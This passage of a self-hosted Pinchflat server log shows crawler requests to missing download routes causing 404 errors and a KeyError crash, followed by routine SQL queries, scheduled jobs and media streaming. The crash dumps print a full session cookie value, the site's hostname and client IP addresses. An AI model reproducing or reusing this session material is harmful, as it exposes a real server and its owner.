46366}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/30/media/141039", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/30/media/141039/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136199.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/30/media/141039/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 46366}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/30/media/141039", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", (truncated) 20:54:57.619 [info] GET /sources/31/media/141299/force_download 20:54:57.620 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=562.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:57.621 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=563.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:54:57.621 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 20:54:57.622 [error] #PID<0.136205.0> running PinchflatWeb.Endpoint (connection #PID<0.136204.0>, stream id 1) terminated Server: pinchflat.ocaff.com:80 (http) Request: GET /sources/31/media/141299/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136204.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141299", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, halted: false, host: "pinchflat.ocaff.com", method: "GET", owner: #PID<0.136205.0>, params: %{}, path_info: ["sources", "31", "media", "141299", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.ocaff.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 1, 3, 15}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.ocaff.com"}, {"referer", "https://pinchflat.ocaff.com/sources/31/media/141299"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.227.185"}, {"x-forwarded-host", "pinchflat.ocaff.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "387f7f7a12c7"}, {"x-openai-host-hash", "152533818"}, {"x-real-ip", "74.7.227.185"} ], request_path: "/sources/31/media/141299/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GLW6sSDsTeEm9oAAC-di"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136204.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141299", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", "x-forwarded-host" => "pinchflat.ocaff.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "387f7f7a12c7", "x-openai-host-hash" => "152533818", "x-real-ip" => "74.7.227.185" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/31/media/141299/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.136204.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/31/media/141299/force_download", host: "pinchflat.ocaff.com", peer: {{10, 1, 3, 15}, 47026}, bindings: %{}, sock: {{172, 18, 0, 6}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYQmNnckQwQnlJV3lTYzEwaWFGUlplcjJR.E9HHYrb9UEcgThYMyf121SErk20xq3RmbR45nDnGRvE", "from" => "gptbot(at)openai.com", "host" => "pinchflat.ocaff.com", "referer" => "https://pinchflat.ocaff.com/sources/31/media/141299", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.4; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.227.185", (truncated) 20:55:00.233 [info] {"source":"oban","duration":371,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:55:03.212 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:33.215 [info] {"source":"oban","duration":1578,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:55:52.347 [info] GET /sources/30/media/141479 20:55:52.347 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141479", "prevent_download" => "true", "source_id" => "30"} Pipelines: [:browser] 20:55:52.349 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1290.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141479] 20:55:52.350 [debug] QUERY OK source="tasks" db=0.5ms queue=0.1ms idle=1292.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141479] 20:55:52.351 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1292.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 20:55:52.352 [debug] QUERY OK source="oban_jobs" db=0.3ms queue=0.1ms idle=1294.3ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7279] 20:55:52.353 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=754.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:52.354 [debug] QUERY OK source="settings" db=0.0ms idle=4.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:52.354 [debug] QUERY OK source="settings" db=0.0ms idle=3.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:55:52.355 [debug] QUERY OK source="media_profiles" db=0.1ms queue=0.1ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:55:52.356 [info] Sent 200 in 9ms 20:56:00.234 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:56:03.216 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:33.219 [info] {"source":"oban","duration":1987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:56:54.960 [info] GET /sources/30/media/141039 20:56:54.960 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141039", "prevent_download" => "true", "source_id" => "30"} Pipelines: [:browser] 20:56:54.962 [debug] QUERY OK source="media_items" db=0.9ms queue=0.1ms idle=1900.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141039] 20:56:54.964 [debug] QUERY OK source="tasks" db=0.9ms queue=0.1ms idle=1243.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141039] 20:56:54.965 [debug] QUERY OK source="sources" db=1.4ms idle=902.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 20:56:54.966 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=905.1ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7246] 20:56:54.967 [debug] QUERY OK source="settings" db=0.1ms idle=243.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:54.967 [debug] QUERY OK source="settings" db=0.1ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:54.967 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:56:54.968 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:56:54.969 [info] Sent 200 in 9ms 20:57:00.235 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:57:03.220 [info] {"source":"oban","duration":485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:33.223 [info] {"source":"oban","duration":1521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:57:54.190 [info] GET /sources/31/media/141299 20:57:54.190 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "141299", "prevent_download" => "true", "source_id" => "31"} Pipelines: [:browser] 20:57:54.191 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=1130.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [141299] 20:57:54.193 [debug] QUERY OK source="tasks" db=0.8ms queue=0.1ms idle=1132.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [141299] 20:57:54.194 [debug] QUERY OK source="sources" db=1.1ms idle=359.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [31] 20:57:54.194 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=134.0ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [7264] 20:57:54.195 [debug] QUERY OK source="settings" db=0.1ms idle=134.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:54.195 [debug] QUERY OK source="settings" db=0.1ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:54.196 [debug] QUERY OK source="settings" db=0.1ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:57:54.197 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 20:57:54.198 [info] Sent 200 in 8ms 20:58:00.237 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:58:03.225 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:33.226 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:58:47.349 [info] GET /media/4adf5ac9-b70c-4182-9100-86b50d6f5878/stream 20:58:47.349 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "4adf5ac9-b70c-4182-9100-86b50d6f5878", "v" => "1780443860"} Pipelines: [:maybe_basic_auth] 20:58:47.358 [debug] QUERY OK source="media_items" db=8.7ms queue=0.1ms idle=1288.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["4adf5ac9-b70c-4182-9100-86b50d6f5878"] 20:58:47.359 [debug] Invalid range request for media item: 4adf5ac9-b70c-4182-9100-86b50d6f5878 - serving full file 20:58:47.359 [info] Sent 200 in 10ms 20:59:00.237 [info] {"source":"oban","duration":193,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 20:59:03.229 [info] {"source":"oban","duration":2057,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 20:59:32.697 [info] GET /media/fec685e0-d16d-4a29-aa2b-0aa65e9f172c/stream 20:59:32.697 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "fec685e0-d16d-4a29-aa2b-0aa65e9f172c", "v" => "1780530243"} Pipelines: [:maybe_basic_auth] 20:59:32.706 [debug] QUERY OK source="media_items" db=8.5ms idle=1340.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["fec685e0-d16d-4a29-aa2b-0aa65e9f172c"] 20:59:32.706 [debug] Invalid range request for media item: fec685e0-d16d-4a29-aa2b-0aa65e9f172c - serving full file 20:59:32.706 [info] Sent 200 in 9ms 20:59:33.232 [info] {"source":"oban","duration":2067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:00:00.241 [info] {"source":"oban","duration":2475,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[7288]} 21:00:00.249 [info] {"args":{},"id":7288,"meta":{"cron":true,"cron_expr":"0 1 * * *","cron_tz":"Etc/UTC"},"system_time":1780534800249316017,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.Downloading.MediaRetentionWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","local_data"]} 21:00:00.253 [debug] QUERY OK source="media_items" db=3.4ms idle=1893.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" WHERE ((NOT (m0."media_filepath" IS NULL) AND IFNULL(retention_period_days, 0) > 0 AND DATETIME(media_downloaded_at, '+' || retention_period_days || ' day') < DATETIME('now') ) AND NOT (m0."prevent_culling" = 1)) [] 21:00:00.253 [info] Culling 0 media items past their retention date 21:00:00.256 [debug] QUERY OK source="media_items" db=2.2ms idle=1653.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 